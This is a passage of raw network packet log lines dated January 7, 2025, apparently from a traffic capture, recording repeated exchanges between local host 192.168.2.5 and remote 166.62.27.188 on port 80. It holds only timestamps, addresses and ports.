                                                                                                                                                          Jan 7, 2025 13:25:04.240318060 CET8049717166.62.27.188192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:04.240330935 CET8049717166.62.27.188192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:04.240343094 CET8049717166.62.27.188192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:04.240348101 CET4971780192.168.2.5166.62.27.188
                                                                                                                                                          Jan 7, 2025 13:25:04.240354061 CET8049717166.62.27.188192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:04.240361929 CET4971780192.168.2.5166.62.27.188
                                                                                                                                                          Jan 7, 2025 13:25:04.240366936 CET8049717166.62.27.188192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:04.240403891 CET4971780192.168.2.5166.62.27.188
                                                                                                                                                          Jan 7, 2025 13:25:04.240458012 CET8049717166.62.27.188192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:04.240472078 CET8049717166.62.27.188192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:04.240520000 CET4971780192.168.2.5166.62.27.188
                                                                                                                                                          Jan 7, 2025 13:25:04.240629911 CET8049717166.62.27.188192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:04.240643024 CET8049717166.62.27.188192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:04.240653992 CET8049717166.62.27.188192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:04.240664005 CET4971780192.168.2.5166.62.27.188
                                                                                                                                                          Jan 7, 2025 13:25:04.240667105 CET8049717166.62.27.188192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:04.240678072 CET8049717166.62.27.188192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:04.240688086 CET4971780192.168.2.5166.62.27.188
                                                                                                                                                          Jan 7, 2025 13:25:04.240731001 CET4971780192.168.2.5166.62.27.188
                                                                                                                                                          Jan 7, 2025 13:25:04.240775108 CET8049717166.62.27.188192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:04.240787983 CET8049717166.62.27.188192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:04.240798950 CET8049717166.62.27.188192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:04.240825891 CET4971780192.168.2.5166.62.27.188
                                                                                                                                                          Jan 7, 2025 13:25:04.240912914 CET8049717166.62.27.188192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:04.240926027 CET8049717166.62.27.188192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:04.240936995 CET8049717166.62.27.188192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:04.240942955 CET8049717166.62.27.188192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:04.240953922 CET8049717166.62.27.188192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:04.240959883 CET4971780192.168.2.5166.62.27.188
                                                                                                                                                          Jan 7, 2025 13:25:04.240969896 CET4971780192.168.2.5166.62.27.188
                                                                                                                                                          Jan 7, 2025 13:25:04.241003990 CET4971780192.168.2.5166.62.27.188
                                                                                                                                                          Jan 7, 2025 13:25:04.241080046 CET8049717166.62.27.188192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:04.241091013 CET8049717166.62.27.188192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:04.241110086 CET8049717166.62.27.188192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:04.241122007 CET8049717166.62.27.188192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:04.241132021 CET4971780192.168.2.5166.62.27.188
                                                                                                                                                          Jan 7, 2025 13:25:04.241251945 CET4971780192.168.2.5166.62.27.188
                                                                                                                                                          Jan 7, 2025 13:25:04.241261005 CET8049717166.62.27.188192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:04.241899014 CET8049717166.62.27.188192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:04.241914034 CET8049717166.62.27.188192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:04.241925955 CET8049717166.62.27.188192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:04.241969109 CET4971780192.168.2.5166.62.27.188
                                                                                                                                                          Jan 7, 2025 13:25:04.242064953 CET8049717166.62.27.188192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:04.242074966 CET8049717166.62.27.188192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:04.242086887 CET8049717166.62.27.188192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:04.242096901 CET8049717166.62.27.188192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:04.242111921 CET4971780192.168.2.5166.62.27.188
                                                                                                                                                          Jan 7, 2025 13:25:04.242130995 CET4971780192.168.2.5166.62.27.188
                                                                                                                                                          Jan 7, 2025 13:25:04.242203951 CET8049717166.62.27.188192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:04.242214918 CET8049717166.62.27.188192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:04.242250919 CET4971780192.168.2.5166.62.27.188
                                                                                                                                                          Jan 7, 2025 13:25:04.242374897 CET8049717166.62.27.188192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:04.242386103 CET8049717166.62.27.188192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:04.242396116 CET8049717166.62.27.188192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:04.242407084 CET8049717166.62.27.188192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:04.242417097 CET8049717166.62.27.188192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:04.242419958 CET4971780192.168.2.5166.62.27.188
                                                                                                                                                          Jan 7, 2025 13:25:04.242443085 CET4971780192.168.2.5166.62.27.188
                                                                                                                                                          Jan 7, 2025 13:25:04.242547035 CET8049717166.62.27.188192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:04.242558002 CET8049717166.62.27.188192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:04.242568016 CET8049717166.62.27.188192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:04.242594004 CET4971780192.168.2.5166.62.27.188
                                                                                                                                                          Jan 7, 2025 13:25:04.242611885 CET4971780192.168.2.5166.62.27.188
                                                                                                                                                          Jan 7, 2025 13:25:04.244915009 CET8049717166.62.27.188192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:04.244934082 CET8049717166.62.27.188192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:04.244945049 CET8049717166.62.27.188192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:04.244970083 CET4971780192.168.2.5166.62.27.188
                                                                                                                                                          Jan 7, 2025 13:25:04.245019913 CET8049717166.62.27.188192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:04.245038033 CET8049717166.62.27.188192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:04.245050907 CET8049717166.62.27.188192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:04.245064020 CET8049717166.62.27.188192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:04.245064974 CET4971780192.168.2.5166.62.27.188
                                                                                                                                                          Jan 7, 2025 13:25:04.245085001 CET4971780192.168.2.5166.62.27.188
                                                                                                                                                          Jan 7, 2025 13:25:04.245089054 CET8049717166.62.27.188192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:04.245100021 CET8049717166.62.27.188192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:04.245131969 CET4971780192.168.2.5166.62.27.188
                                                                                                                                                          Jan 7, 2025 13:25:04.245131969 CET8049717166.62.27.188192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:04.245143890 CET8049717166.62.27.188192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:04.245156050 CET8049717166.62.27.188192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:04.245167017 CET4971780192.168.2.5166.62.27.188
                                                                                                                                                          Jan 7, 2025 13:25:04.245177984 CET8049717166.62.27.188192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:04.245192051 CET8049717166.62.27.188192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:04.245197058 CET4971780192.168.2.5166.62.27.188
                                                                                                                                                          Jan 7, 2025 13:25:04.245204926 CET8049717166.62.27.188192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:04.245249033 CET4971780192.168.2.5166.62.27.188
                                                                                                                                                          Jan 7, 2025 13:25:04.245402098 CET8049717166.62.27.188192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:04.245423079 CET8049717166.62.27.188192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:04.245429039 CET8049717166.62.27.188192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:04.245461941 CET4971780192.168.2.5166.62.27.188
                                                                                                                                                          Jan 7, 2025 13:25:04.245465040 CET8049717166.62.27.188192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:04.245476007 CET8049717166.62.27.188192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:04.245536089 CET4971780192.168.2.5166.62.27.188
                                                                                                                                                          Jan 7, 2025 13:25:04.245609999 CET8049717166.62.27.188192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:04.245620966 CET8049717166.62.27.188192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:04.245630980 CET8049717166.62.27.188192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:04.245656013 CET4971780192.168.2.5166.62.27.188
                                                                                                                                                          Jan 7, 2025 13:25:04.245696068 CET8049717166.62.27.188192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:04.245707035 CET8049717166.62.27.188192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:04.245718002 CET8049717166.62.27.188192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:04.245729923 CET8049717166.62.27.188192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:04.245739937 CET4971780192.168.2.5166.62.27.188
                                                                                                                                                          Jan 7, 2025 13:25:04.245743036 CET8049717166.62.27.188192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:04.245774031 CET4971780192.168.2.5166.62.27.188
                                                                                                                                                          Jan 7, 2025 13:25:04.245790958 CET4971780192.168.2.5166.62.27.188
                                                                                                                                                          Jan 7, 2025 13:25:04.245862961 CET8049717166.62.27.188192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:04.245919943 CET8049717166.62.27.188192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:04.245930910 CET8049717166.62.27.188192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:04.245964050 CET4971780192.168.2.5166.62.27.188
                                                                                                                                                          Jan 7, 2025 13:25:04.245978117 CET8049717166.62.27.188192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:04.245990038 CET8049717166.62.27.188192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:04.246002913 CET8049717166.62.27.188192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:04.246015072 CET8049717166.62.27.188192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:04.246023893 CET8049717166.62.27.188192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:04.246032000 CET4971780192.168.2.5166.62.27.188
                                                                                                                                                          Jan 7, 2025 13:25:04.246058941 CET4971780192.168.2.5166.62.27.188
                                                                                                                                                          Jan 7, 2025 13:25:04.246068954 CET4971780192.168.2.5166.62.27.188
                                                                                                                                                          Jan 7, 2025 13:25:04.329777002 CET8049717166.62.27.188192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:04.329793930 CET8049717166.62.27.188192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:04.329804897 CET8049717166.62.27.188192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:04.329830885 CET8049717166.62.27.188192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:04.329843044 CET8049717166.62.27.188192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:04.329854012 CET8049717166.62.27.188192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:04.329864979 CET8049717166.62.27.188192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:04.329895973 CET8049717166.62.27.188192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:04.329911947 CET8049717166.62.27.188192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:04.329917908 CET4971780192.168.2.5166.62.27.188
                                                                                                                                                          Jan 7, 2025 13:25:04.329932928 CET8049717166.62.27.188192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:04.329936981 CET4971780192.168.2.5166.62.27.188
                                                                                                                                                          Jan 7, 2025 13:25:04.329945087 CET8049717166.62.27.188192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:04.329957008 CET8049717166.62.27.188192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:04.329960108 CET4971780192.168.2.5166.62.27.188
                                                                                                                                                          Jan 7, 2025 13:25:04.329992056 CET8049717166.62.27.188192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:04.330017090 CET8049717166.62.27.188192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:04.330019951 CET4971780192.168.2.5166.62.27.188
                                                                                                                                                          Jan 7, 2025 13:25:04.330019951 CET4971780192.168.2.5166.62.27.188
                                                                                                                                                          Jan 7, 2025 13:25:04.330029011 CET8049717166.62.27.188192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:04.330040932 CET8049717166.62.27.188192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:04.330053091 CET8049717166.62.27.188192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:04.330054045 CET4971780192.168.2.5166.62.27.188
                                                                                                                                                          Jan 7, 2025 13:25:04.330086946 CET4971780192.168.2.5166.62.27.188
                                                                                                                                                          Jan 7, 2025 13:25:04.503767967 CET8049717166.62.27.188192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:04.503784895 CET8049717166.62.27.188192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:04.503796101 CET8049717166.62.27.188192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:04.503808022 CET8049717166.62.27.188192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:04.503819942 CET8049717166.62.27.188192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:04.503832102 CET8049717166.62.27.188192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:04.503895044 CET4971780192.168.2.5166.62.27.188
                                                                                                                                                          Jan 7, 2025 13:25:04.503990889 CET8049717166.62.27.188192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:04.504012108 CET8049717166.62.27.188192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:04.504031897 CET8049717166.62.27.188192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:04.504044056 CET8049717166.62.27.188192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:04.504066944 CET4971780192.168.2.5166.62.27.188
                                                                                                                                                          Jan 7, 2025 13:25:04.504071951 CET8049717166.62.27.188192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:04.504089117 CET4971780192.168.2.5166.62.27.188
                                                                                                                                                          Jan 7, 2025 13:25:04.504354000 CET8049717166.62.27.188192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:04.504400969 CET4971780192.168.2.5166.62.27.188
                                                                                                                                                          Jan 7, 2025 13:25:04.504437923 CET8049717166.62.27.188192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:04.504467964 CET8049717166.62.27.188192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:04.504479885 CET8049717166.62.27.188192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:04.504492998 CET8049717166.62.27.188192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:04.504514933 CET4971780192.168.2.5166.62.27.188
                                                                                                                                                          Jan 7, 2025 13:25:04.504523039 CET8049717166.62.27.188192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:04.504533052 CET8049717166.62.27.188192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:04.504548073 CET8049717166.62.27.188192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:04.504564047 CET8049717166.62.27.188192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:04.504573107 CET4971780192.168.2.5166.62.27.188
                                                                                                                                                          Jan 7, 2025 13:25:04.504592896 CET8049717166.62.27.188192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:04.504605055 CET8049717166.62.27.188192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:04.504612923 CET4971780192.168.2.5166.62.27.188
                                                                                                                                                          Jan 7, 2025 13:25:04.504631042 CET8049717166.62.27.188192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:04.504653931 CET8049717166.62.27.188192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:04.504664898 CET8049717166.62.27.188192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:04.504674911 CET4971780192.168.2.5166.62.27.188
                                                                                                                                                          Jan 7, 2025 13:25:04.504676104 CET8049717166.62.27.188192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:04.504698992 CET4971780192.168.2.5166.62.27.188
                                                                                                                                                          Jan 7, 2025 13:25:04.504705906 CET8049717166.62.27.188192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:04.504717112 CET4971780192.168.2.5166.62.27.188
                                                                                                                                                          Jan 7, 2025 13:25:04.504719019 CET8049717166.62.27.188192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:04.504729033 CET8049717166.62.27.188192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:04.504759073 CET4971780192.168.2.5166.62.27.188
                                                                                                                                                          Jan 7, 2025 13:25:04.504815102 CET8049717166.62.27.188192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:04.504837036 CET8049717166.62.27.188192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:04.504853964 CET8049717166.62.27.188192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:04.504865885 CET8049717166.62.27.188192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:04.504879951 CET4971780192.168.2.5166.62.27.188
                                                                                                                                                          Jan 7, 2025 13:25:04.504899979 CET8049717166.62.27.188192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:04.504905939 CET4971780192.168.2.5166.62.27.188
                                                                                                                                                          Jan 7, 2025 13:25:04.504913092 CET8049717166.62.27.188192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:04.504934072 CET8049717166.62.27.188192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:04.504941940 CET4971780192.168.2.5166.62.27.188
                                                                                                                                                          Jan 7, 2025 13:25:04.504951000 CET8049717166.62.27.188192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:04.504961967 CET8049717166.62.27.188192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:04.504973888 CET8049717166.62.27.188192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:04.504973888 CET4971780192.168.2.5166.62.27.188
                                                                                                                                                          Jan 7, 2025 13:25:04.504996061 CET4971780192.168.2.5166.62.27.188
                                                                                                                                                          Jan 7, 2025 13:25:04.504998922 CET8049717166.62.27.188192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:04.505011082 CET8049717166.62.27.188192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:04.505043030 CET4971780192.168.2.5166.62.27.188
                                                                                                                                                          Jan 7, 2025 13:25:04.505323887 CET8049717166.62.27.188192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:04.505333900 CET8049717166.62.27.188192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:04.505371094 CET8049717166.62.27.188192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:04.505390882 CET4971780192.168.2.5166.62.27.188
                                                                                                                                                          Jan 7, 2025 13:25:04.505417109 CET4971780192.168.2.5166.62.27.188
                                                                                                                                                          Jan 7, 2025 13:25:04.505420923 CET8049717166.62.27.188192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:04.505439043 CET8049717166.62.27.188192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:04.505465984 CET8049717166.62.27.188192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:04.505476952 CET8049717166.62.27.188192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:04.505491972 CET4971780192.168.2.5166.62.27.188
                                                                                                                                                          Jan 7, 2025 13:25:04.505501032 CET8049717166.62.27.188192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:04.505512953 CET4971780192.168.2.5166.62.27.188
                                                                                                                                                          Jan 7, 2025 13:25:04.505526066 CET8049717166.62.27.188192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:04.505549908 CET8049717166.62.27.188192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:04.505561113 CET8049717166.62.27.188192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:04.505565882 CET4971780192.168.2.5166.62.27.188
                                                                                                                                                          Jan 7, 2025 13:25:04.505609035 CET4971780192.168.2.5166.62.27.188
                                                                                                                                                          Jan 7, 2025 13:25:04.505712986 CET8049717166.62.27.188192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:04.505743980 CET8049717166.62.27.188192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:04.505755901 CET8049717166.62.27.188192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:04.505784035 CET8049717166.62.27.188192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:04.505809069 CET4971780192.168.2.5166.62.27.188
                                                                                                                                                          Jan 7, 2025 13:25:04.505820990 CET4971780192.168.2.5166.62.27.188
                                                                                                                                                          Jan 7, 2025 13:25:04.505848885 CET8049717166.62.27.188192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:04.505876064 CET8049717166.62.27.188192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:04.505887985 CET8049717166.62.27.188192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:04.505930901 CET4971780192.168.2.5166.62.27.188
                                                                                                                                                          Jan 7, 2025 13:25:04.505961895 CET8049717166.62.27.188192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:04.505975008 CET8049717166.62.27.188192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:04.505986929 CET8049717166.62.27.188192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:04.505997896 CET8049717166.62.27.188192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:04.506009102 CET4971780192.168.2.5166.62.27.188
                                                                                                                                                          Jan 7, 2025 13:25:04.506019115 CET4971780192.168.2.5166.62.27.188
                                                                                                                                                          Jan 7, 2025 13:25:04.506050110 CET8049717166.62.27.188192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:04.506062031 CET8049717166.62.27.188192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:04.506072998 CET8049717166.62.27.188192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:04.506094933 CET4971780192.168.2.5166.62.27.188
                                                                                                                                                          Jan 7, 2025 13:25:04.506120920 CET4971780192.168.2.5166.62.27.188
                                                                                                                                                          Jan 7, 2025 13:25:04.506127119 CET8049717166.62.27.188192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:04.506138086 CET8049717166.62.27.188192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:04.506150007 CET8049717166.62.27.188192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:04.506181002 CET4971780192.168.2.5166.62.27.188
                                                                                                                                                          Jan 7, 2025 13:25:04.506205082 CET8049717166.62.27.188192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:04.506217957 CET8049717166.62.27.188192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:04.506227970 CET8049717166.62.27.188192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:04.506243944 CET4971780192.168.2.5166.62.27.188
                                                                                                                                                          Jan 7, 2025 13:25:04.506252050 CET8049717166.62.27.188192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:04.506264925 CET8049717166.62.27.188192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:04.506278038 CET4971780192.168.2.5166.62.27.188
                                                                                                                                                          Jan 7, 2025 13:25:04.506315947 CET4971780192.168.2.5166.62.27.188
                                                                                                                                                          Jan 7, 2025 13:25:04.506330967 CET8049717166.62.27.188192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:04.506342888 CET8049717166.62.27.188192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:04.506376028 CET4971780192.168.2.5166.62.27.188
                                                                                                                                                          Jan 7, 2025 13:25:04.506422997 CET8049717166.62.27.188192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:04.506433964 CET8049717166.62.27.188192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:04.506445885 CET8049717166.62.27.188192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:04.506455898 CET8049717166.62.27.188192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:04.506468058 CET8049717166.62.27.188192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:04.506479025 CET8049717166.62.27.188192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:04.506485939 CET4971780192.168.2.5166.62.27.188
                                                                                                                                                          Jan 7, 2025 13:25:04.506522894 CET4971780192.168.2.5166.62.27.188
                                                                                                                                                          Jan 7, 2025 13:25:04.506654024 CET8049717166.62.27.188192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:04.506714106 CET8049717166.62.27.188192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:04.506726980 CET8049717166.62.27.188192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:04.506752014 CET4971780192.168.2.5166.62.27.188
                                                                                                                                                          Jan 7, 2025 13:25:04.506777048 CET8049717166.62.27.188192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:04.506788969 CET8049717166.62.27.188192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:04.506824970 CET8049717166.62.27.188192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:04.506824970 CET4971780192.168.2.5166.62.27.188
                                                                                                                                                          Jan 7, 2025 13:25:04.506844044 CET8049717166.62.27.188192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:04.506858110 CET8049717166.62.27.188192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:04.506870031 CET4971780192.168.2.5166.62.27.188
                                                                                                                                                          Jan 7, 2025 13:25:04.506892920 CET8049717166.62.27.188192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:04.506895065 CET4971780192.168.2.5166.62.27.188
                                                                                                                                                          Jan 7, 2025 13:25:04.506902933 CET8049717166.62.27.188192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:04.506938934 CET4971780192.168.2.5166.62.27.188
                                                                                                                                                          Jan 7, 2025 13:25:04.507040977 CET8049717166.62.27.188192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:04.507051945 CET8049717166.62.27.188192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:04.507061958 CET8049717166.62.27.188192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:04.507086992 CET8049717166.62.27.188192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:04.507087946 CET4971780192.168.2.5166.62.27.188
                                                                                                                                                          Jan 7, 2025 13:25:04.507097006 CET8049717166.62.27.188192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:04.507122993 CET8049717166.62.27.188192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:04.507133961 CET8049717166.62.27.188192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:04.507143974 CET4971780192.168.2.5166.62.27.188
                                                                                                                                                          Jan 7, 2025 13:25:04.507152081 CET8049717166.62.27.188192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:04.507174015 CET4971780192.168.2.5166.62.27.188
                                                                                                                                                          Jan 7, 2025 13:25:04.507190943 CET4971780192.168.2.5166.62.27.188
                                                                                                                                                          Jan 7, 2025 13:25:04.507210016 CET8049717166.62.27.188192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:04.507227898 CET8049717166.62.27.188192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:04.507255077 CET8049717166.62.27.188192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:04.507272959 CET8049717166.62.27.188192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:04.507281065 CET4971780192.168.2.5166.62.27.188
                                                                                                                                                          Jan 7, 2025 13:25:04.507285118 CET8049717166.62.27.188192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:04.507318020 CET4971780192.168.2.5166.62.27.188
                                                                                                                                                          Jan 7, 2025 13:25:04.507563114 CET8049717166.62.27.188192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:04.507589102 CET8049717166.62.27.188192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:04.507600069 CET8049717166.62.27.188192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:04.507637024 CET4971780192.168.2.5166.62.27.188
                                                                                                                                                          Jan 7, 2025 13:25:04.507642031 CET8049717166.62.27.188192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:04.507647991 CET4971780192.168.2.5166.62.27.188
                                                                                                                                                          Jan 7, 2025 13:25:04.507668972 CET8049717166.62.27.188192.168.2.5
